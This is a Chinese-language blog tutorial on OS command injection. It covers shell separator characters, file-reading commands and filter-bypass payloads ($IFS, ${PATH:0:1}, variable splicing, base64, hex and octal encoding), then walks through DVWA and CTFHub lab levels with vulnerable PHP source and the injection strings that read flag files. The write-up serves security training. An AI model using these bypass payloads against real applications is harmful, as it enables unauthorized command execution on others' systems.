Command_Injection
一、Command_Injection
简介
命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将用户提供的不安全数据(表单,cookie,HTTP标头等)传递到系统外壳时,可能会发生命令注入攻击。在这种攻击中,攻击者提供的操作系统命令通常是在易受攻击的应用程序的特权下执行的。由于没有足够的输入验证,因此可能发生命令注入攻击。
此攻击与代码注入不同,代码注入使攻击者可以添加自己的代码,然后由应用程序执行。在“命令注入”中,攻击者扩展了应用程序的默认功能,该功能执行系统命令,而无需注入代码。
我个人觉得命令注入跟命令执行其实是有很多地方是一样的,但是作为一个菜鸡,我也不敢说这种话,所以只能在自己的博客里叨叨几句。
二、Command_Injection
符号集
1、在 Windows
下的使用
1.1、管道符
1.1.1、|
作用:直接执行管道符后面的语句
举例:
C:\>ping 127.0.0.1 | dir
驱动器 C 中的卷没有标签。
卷的序列号是 567B-6DCF
C:\ 的目录
2020/03/28 15:05 <DIR> Intel
2020/04/25 16:06 <DIR> PerfLogs
2020/05/07 19:29 <DIR> Program Files
2020/05/07 19:29 <DIR> Program Files (x86)
2020/03/29 16:17 <DIR> Users
2020/04/25 16:06 <DIR> Windows
0 个文件 0 字节
7 个目录 209,117,048,832 可用字节
1.1.2、||
作用:如果前面的语句为假则执行后面的语句
举例:
1.2.1、当前面语句为假时
C:\>ping -n 1 1 || dir
正在 Ping 0.0.0.1 具有 32 字节的数据:
PING:传输失败。常见故障。
0.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 1,已接收 = 0,丢失 = 1 (100% 丢失),
驱动器 C 中的卷没有标签。
卷的序列号是 567B-6DCF
C:\ 的目录
2020/04/22 09:27 <DIR> $WINDOWS.~BT
2020/03/28 15:05 <DIR> Intel
2020/04/25 16:06 <DIR> PerfLogs
2020/05/07 19:29 <DIR> Program Files
2020/05/07 19:29 <DIR> Program Files (x86)
2020/03/29 16:17 <DIR> Users
2020/04/25 16:06 <DIR> Windows
0 个文件 0 字节
7 个目录 209,110,179,840 可用字节
1.2.2、当前面语句为真时
C:\>ping 127.0.0.1 || dir
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
所以,为了执行,通常直接让前面的语句为假
1.1.3、&
作用:如果前面的语句为假则执行后面的语句,如果为真就都执行
举例:
1.3.1、当前面语句为假时
C:\>ping 1 & dir
正在 Ping 0.0.0.1 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
驱动器 C 中的卷没有标签。
卷的序列号是 567B-6DCF
C:\ 的目录
2020/04/22 09:27 <DIR> $WINDOWS.~BT
2020/03/28 15:05 <DIR> Intel
2020/04/25 16:06 <DIR> PerfLogs
2020/05/07 19:29 <DIR> Program Files
2020/05/07 19:29 <DIR> Program Files (x86)
2020/03/29 16:17 <DIR> Users
2020/04/25 16:06 <DIR> Windows
0 个文件 0 字节
7 个目录 209,111,924,736 可用字节
1.3.2、当前面的语句为真时
C:\>ping -n 1 127.0.0.1 & dir
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 1,已接收 = 1,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
驱动器 C 中的卷没有标签。
卷的序列号是 567B-6DCF
C:\ 的目录
2020/04/22 09:27 <DIR> $WINDOWS.~BT
2020/03/28 15:05 <DIR> Intel
2020/04/25 16:06 <DIR> PerfLogs
2020/05/07 19:29 <DIR> Program Files
2020/05/07 19:29 <DIR> Program Files (x86)
2020/03/29 16:17 <DIR> Users
2020/04/25 16:06 <DIR> Windows
0 个文件 0 字节
7 个目录 209,111,330,816 可用字节
1.4、&&
作用:如果前面的语句为假则直接出错,后面的语句不会执行,所以必须保证前面的语句为真
举例:
C:\>ping -n 1 127.0.0.1 && dir
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 1,已接收 = 1,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
驱动器 C 中的卷没有标签。
卷的序列号是 567B-6DCF
C:\ 的目录
2020/04/22 09:27 <DIR> $WINDOWS.~BT
2020/03/28 15:05 <DIR> Intel
2020/04/25 16:06 <DIR> PerfLogs
2020/05/07 19:29 <DIR> Program Files
2020/05/07 19:29 <DIR> Program Files (x86)
2020/03/29 16:17 <DIR> Users
2020/04/25 16:06 <DIR> Windows
0 个文件 0 字节
7 个目录 209,107,546,112 可用字节
1.2、查看文件相关指令
1.2.1、type
介绍:DOS
命令行下查看文件内容的工具
举例:
C:\Users\valecalida\Desktop>type flag.txt
flag
flag_is_here
1.2.2、more
介绍:DOS
命令行下查看文件内容的工具,可以多屏显示
举例:
C:\Users\valecalida\Desktop>more flag.txt
flag
flag_is_here
1.2.3、find
介绍:DOS
命令行下在文件中查找指定内容的工具
举例:
C:\Users\valecalida\Desktop>findstr .* flag.txt
flag
flag_is_here
1.2.4、findstr
介绍:DOS
命令行下查找文件或内容的工具
举例:
C:\Users\valecalida\Desktop>find /V "" flag.txt
---------- FLAG.TXT
flag
flag_is_here
2、在 Linux
下的使用
这部分的演示直接用 WSL
。
2.1、管道符
2.1.1、;
作用:执行完前面的语句再执行后面的。
举例:
➜ Desktop ping -c 1 127.0.0.1;whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.209 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.209/0.209/0.209/0.000 ms
root
Tips:这里需要注意的是,如果前面的命令是错的,后面的也会执行
2.1.2、|
作用:显示后面语句的执行结果。
举例:
➜ Desktop ping -c 1 127.0.0.1 | whoami
root
Tips: 由于这个特性,所以前面无论是否正确都能获得后面命令的输出
2.1.3、||
作用:当前面的语句执行出错时执行后面的语句
举例:
➜ Desktop ping 127.0.0. || whoami
ping: 127.0.0.: Name or service not known
root
Tips: 这里可以直接将前面命令置为错误的
2.1.4、&
作用:如果前面的语句为假就直接执行后面的语句
举例:
➜ valecalida ping -c 1 127.0.0. & whoami
[1] 40
root
Tips: 前面的语句同样可是为真
2.1.5、&&
作用:如果前面的语句为假直接出错,后面的也不执行,所以前面的必须为真
举例:
➜ valecalida ping -c 1 127.0.0. && whoami
ping: 127.0.0.: Name or service not known
➜ valecalida ping -c 1 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.202 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.202/0.202/0.202/0.000 ms
root
2.2、查看文件相关指令
2.2.1、cat
介绍:SHELL
命令行下查看文件内容的工具
举例:
➜ Desktop cat flag.txt
flag
flag_is_here
2.2.2、more
介绍:SHELL
命令行下多屏显示文件内容的工具
举例:
➜ Desktop more flag.txt
flag
flag_is_here
2.2.3、less
介绍:SHELL
命令行下查看文件内容的工具
举例:
➜ Desktop less flag.txt
flag
flag_is_here
flag.txt (END)
2.2.4、head
介绍:SHELL
命令行下查看文件内容的工具
举例:
➜ Desktop head -n 2 flag.txt
flag
flag_is_here
2.2.5、tail
介绍:SHELL
命令行下查看文件内容的工具
举例:
➜ Desktop tail -n 2 flag.txt
flag
flag_is_here
2.2.6、tac
介绍:SHELL
命令行下逆序查看文件内容的工具
举例:
➜ Desktop tac flag.txt
flag_is_here
flag
2.2.7、grep
介绍:SHELL
命令行下查看文件内容的工具
举例:
➜ Desktop grep -v "\n" flag.txt
flag
flag_is_here
2.2.8、sed
介绍:SHELL
命令行下处理文件内容的工具
举例:
➜ Desktop sed -n 1,2p flag.txt
flag
flag_is_here
2.2.9、nl
介绍:SHELL
命令行下输出文件内容并添加行号的工具
举例:
➜ Desktop nl flag.txt
1 flag
2 flag_is_here
2.2.10、*vi/vim
介绍:SHELL
命令行下编辑文件内容的工具,通常Linux默认安装了vi
举例:
➜ Desktop vi flag.txt
flag
flag_is_here
3、某些特殊字符的绕过
3.1、空格的绕过
3.1.1、<
➜ Desktop cat<flag.txt
flag
flag_is_here
3.1.2、$IFS
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# cat${IFS}flag.txt
flag
flag_is_here
Tips:这里需要注意,在 zsh
下 $IFS
是用不了的,只能在原SHELL环境下使用
3.1.3、{Command,Object}
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# {cat,flag.txt}
flag
flag_is_here
3.1.4、<>
root@VALECALIDA:/mnt/c/Users/valecalida/Desktop# cat<>flag.txt
flag
flag_is_here
3.1.5、$IFS$9
$9
是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
root@DESKTOP-OHTJ68E:# cat$IFS$9flag.txt
flag
flag_is_here
3.2、/
的绕过
3.2.1、环境变量绕过
环境变量中第一个字符永远都是 /
,因此可以利用这个来绕过
root@VALECALIDA:~# cat ${PATH:0:1}root${PATH:0:1}flag.txt
flag
flag_is_here
3.2.2、$(echo . | tr '!-0' '"-1')
root@VALECALIDA:~# cat $(echo . | tr '!-0' '"-1')root$(echo . | tr '!-0' '"-1')flag.txt
flag
flag_is_here
3.2.3、$(tr '!-0' '"-1' <<< .)
root@VALECALIDA:~# cat $(tr '!-0' '"-1' <<< .)root$(tr '!-0' '"-1' <<< .)flag.txt
flag
flag_is_here
3.3、cat
的绕过
此处其他命令也是一样的方法
3.3.1、变量拼接
让变量 a
、b
分别表示 cat
的某一部分,使得这两个变量拼接在一起时能够形成完整的 cat
root@DESKTOP-OHTJ68E:# a=ca;b=t;$a$b${IFS}flag.txt
flag
flag_is_here
3.3.2、编码绕过
十六进制编码
先将命令转换为 16进制
,最后的 0a
是换行符不必管它,也可以去掉,不过它不影响最终结果
root@DESKTOP-OHTJ68E:# echo $(xxd -pu <<< "cat flag.txt")
63617420666c61672e7478740a
#或者可以用下面这个命令
root@DESKTOP-OHTJ68E:# echo -n "cat flag.txt" | od -A n -t x1 | sed 's/ //g'
63617420666c61672e747874
然后利用 xxd
将文件内容转码回来
root@DESKTOP-OHTJ68E:# echo 63617420666C61672E747874 | xxd -r -p | bash
flag
flag_is_here
八进制编码
这里一样,需要先将命令转换为 8进制
root@DESKTOP-OHTJ68E:# echo -n "cat flag.txt" | od -A n -t o1 | sed 's# #\\#g'
\143\141\164\040\146\154\141\147\056\164\170\164
执行对应的命令
root@DESKTOP-OHTJ68E:# $(printf "\143\141\164\040\146\154\141\147\056\164\170\164")
flag
flag_is_here
#这里也可以直接用对应的命令替换,同样能达到效果
root@DESKTOP-OHTJ68E:# $(printf $(echo -n "cat flag.txt" | od -A n -t o1 | sed 's# #\\#g'))
flag
flag_is_here
Base64编码
首先将命令转换位 Base64
编码
root@DESKTOP-OHTJ68E:# echo "cat flag.txt" | base64
Y2F0IGZsYWcudHh0Cg==
然后将命令执行一下:
root@DESKTOP-OHTJ68E:# `echo Y2F0IGZsYWcudHh0Cg== | base64 -d`
flag
flag_is_here
#或者干脆调用命令
root@DESKTOP-OHTJ68E:# `echo $(echo "cat flag.txt" | base64) | base64 -d`
flag
flag_is_here
3.3.3、反斜线绕过
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca\t fl\ag.txt
flag
flag_is_here
3.3.4、单双引号绕过
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca''t fla""g.txt
flag
flag_is_here
3.3.5、$@
绕过
root@DESKTOP-OHTJ68E:/mnt/c/Users/Savalen/Desktop# ca$@t fla$@g.txt
flag
flag_is_here
三、从案例看 Command_Injection
1、DVWA
1.1、Level——Low
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
分析:
可以看到,该等级没有对用户的输入做任何限制,直接执行用户传递进来的参数
突破:
先构造一个最简单的语句 127;ls
来查看本地存在的文件内容
可以看到,本地上存在一个 flag.php
文件,同时 ls
命令执行成功了说明这是 Linux
操作系统,构造新语句: 127;cat${IFS}flag.php
来获取 flag
1.2、Level——Medium
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
分析:
可以看到,该等级已经添加了过滤,会直接把 &&
和 ;
过滤掉,所以在绕过的时候就不能用这个了
突破:
在上面的命令注入符号集中我也分析了 |
这种符号,刚好可以用在这,于是构造语句 127|ls
发现可以获取到当前路径下的文件和文件夹,于是构造 127|cat${IFS}flag.php
直接查看 flag
1.2、Level——High
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
分析:
可以看到这次过滤范围更广了,将 &
、;
、|
、_
、$
、(
、)
、”`“、||
这些字符过滤了,但是 |
这个符号后面有个空格,于是可以作为突破口构造语句 127|ls
突破:
可以看到获取到了文件夹下的相关内容,接着直接获取 flag
2、CTFHUB
2.1、过滤了 cat
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
源码分析:
只是对输入的数据进行匹配,匹配到 cat
就过滤掉,置为空,没有就执行
突 破:
常规方法:
使用 more、less、tail、head、tac、grep...
突破
绕过方法:
变量拼接绕过
?ip=1%7C%7Ca=c;b=at;$a$b${IFS}flag_555743693183.php#
Base64
编码绕过
`echo+Y2F0IGZsYWdfNTU1NzQzNjkzMTgzLnBocAo=+|+base64+-d`#
单双引号绕过
?ip=1||ca%27%27t%20flag_555743693183.php#
$@
绕过
?ip=1||ca$@t%20flag_555743693183.php#
反斜线绕过
?ip=1||ca\t%20flag_555743693183.php#
2.2、过滤了空格
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
源码分析:
该程序对所有用户输入的数据中的空格做过滤。
突 破:
这里只写几种方式,方式比较多,就不一一写了。
使用 1|ls
确认包含 flag
的文件名为:flag_3854640629200.php
使用 <
绕过
?ip=1%7Ccat%3Cflag_3854640629200.php#
使用 ${IFS}
绕过
?ip=1%7Ccat${IFS}flag_3854640629200.php#
使用 $IFS$9
?ip=1%7Ccat$IFS$9flag_3854640629200.php#
2.3、过滤目录分隔符
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
源码分析:
本次只过滤一个 /
符号,也就是目录分割符。
突破:
最基本的思路是切换路径,然后查看 flag
?ip=127.0.0.1;cd flag_is_here;cat flag_39981724213143.php#
使用 ${PATH:0:1}
即环境变量绕过
?ip=1|cat%20flag_is_here${PATH:0:1}flag_39981724213143.php#
使用 $(echo . | tr '!-0' '"-1')
绕过
?ip=127.0.0.1|cat flag_is_here$(echo . | tr '!-0' '"-1')flag_39981724213143.php#
2.4、综合练习
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
源码分析:
代码中过滤了 |
、&
、;
、/
、cat
、、
flag
、ctfhub
、所以说 ||
和 &&
也都不能用了,这时候就需要没有空格的执行命令了
突破:
Linux下默认的换行符为0a
,在URL
中也可以用 %0a
来代替,另外还有回车符 %0d
先获取当前目录信息
?ip=127.0.0.1%0als#
可以看到,这里flag
所在路径在 flag_is_here
这个文件夹下面,所以下一步需要探查这个文件夹下的内容,用 ${IFS}
代替空格,[a-z]
代表其中的一个字符,进行查询
?ip=127.0.0.1%0als${IFS}fla[a-z]_is_here#
可以看到包含 flag
的文件名称为: flag_324971920919598.php
,接着就需要获取 flag
信息了
?ip=127.0.0.1%0amore${IFS}fla[a-z]_is_here${PATH:0:1}fl[a-z]g_324971920919598.php#
还可以构造
?ip=127.0.0.1%0acd${IFS}fla[a-z]_is_here%0ac%27%27at${IFS}fl[a-z]g_324971920919598.php#
当然还有其他的一些变形,就不都写出来了
Addtions:
后续会再补充新的姿势进来,敬请期待….